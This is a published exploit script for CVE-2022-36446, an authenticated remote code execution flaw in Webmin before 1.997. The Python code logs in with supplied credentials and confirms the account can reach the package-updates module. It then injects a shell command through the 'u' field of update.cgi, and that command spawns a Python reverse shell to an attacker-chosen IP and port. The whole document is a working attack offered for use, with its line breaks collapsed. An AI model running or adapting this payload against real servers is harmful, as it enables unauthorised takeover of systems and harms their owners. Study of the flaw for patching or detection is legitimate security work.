Webmin 1.996 Remote Code Execution

# Exploit Title: Webmin 1.996 - Remote Code Execution (RCE) (Authenticated)# Date: 2022-07-25# Exploit Author: Emir Polat# Technical analysis: https://medium.com/@emirpolat/cve-2022-36446-webmin-1-997-7a9225af3165# Vendor Homepage: https://www.webmin.com/# Software Link: https://www.webmin.com/download.html# Version: < 1.997# Tested On: Version 1.996 - Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-122-generic x86_64)# CVE: CVE-2022-36446import argparseimport requestsfrom bs4 import BeautifulSoupdef login(args):    global session    global sysUser    session = requests.Session()    loginUrl = f"{args.target}:10000/session_login.cgi"    infoUrl = f"{args.target}:10000/sysinfo.cgi"    username = args.username    password = args.password    data = {'user': username, 'pass': password}    login = session.post(loginUrl, verify=False, data=data, cookies={'testing': '1'})    sysInfo = session.post(infoUrl, verify=False, cookies={'sid' : session.cookies['sid']})    bs = BeautifulSoup(sysInfo.text, 'html.parser')    sysUser = [item["data-user"] for item in bs.find_all() if "data-user" in item.attrs]    if sysUser:        return True    else:        return Falsedef exploit(args):    payload = f"""    1337;$(python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{args.listenip}",{args.listenport}));    os.dup2(s.fileno(),0);    os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")');    """    updateUrl = f"{args.target}:10000/package-updates"    exploitUrl = f"{args.target}:10000/package-updates/update.cgi"    exploitData = {'mode' : 'new', 'search' : 'ssh', 'redir' : '', 'redirdesc' : '', 'u' : payload, 'confirm' : 'Install+Now'}    if login(args):        print("[+] Successfully Logged In !")        print(f"[+] Session Cookie => sid={session.cookies['sid']}")        print(f"[+] User Found  => {sysUser[0]}")        res = session.get(updateUrl)        bs = BeautifulSoup(res.text, 'html.parser')        updateAccess = [item["data-module"] for item in bs.find_all() if "data-module" in item.attrs]        if updateAccess[0] == "package-updates":            print(f"[+] User '{sysUser[0]}' has permission to access <<Software Package Updates>>")            print(f"[+] Exploit starting ... ")            print(f"[+] Shell will spawn to {args.listenip} via port {args.listenport}")            session.headers.update({'Referer'  : f'{args.target}:10000/package-updates/update.cgi?xnavigation=1'})            session.post(exploitUrl, data=exploitData)        else:            print(f"[-] User '{sysUser[0]}' unfortunately hasn't permission to access <<Software Package Updates>>")    else:        print("[-] Login Failed !")if __name__ == '__main__':    parser = argparse.ArgumentParser(description="Webmin < 1.997 - Remote Code Execution (Authenticated)")    parser.add_argument('-t', '--target', help='Target URL, Ex: https://webmin.localhost', required=True)    parser.add_argument('-u', '--username', help='Username For Login', required=True)    parser.add_argument('-p', '--password', help='Password For Login', required=True)    parser.add_argument('-l', '--listenip', help='Listening address required to receive reverse shell', required=True)    parser.add_argument('-lp','--listenport', help='Listening port required to receive reverse shell', required=True)    parser.add_argument("-s", '--ssl', help="Use if server support SSL.", required=False)    args = parser.parse_args()    exploit(args)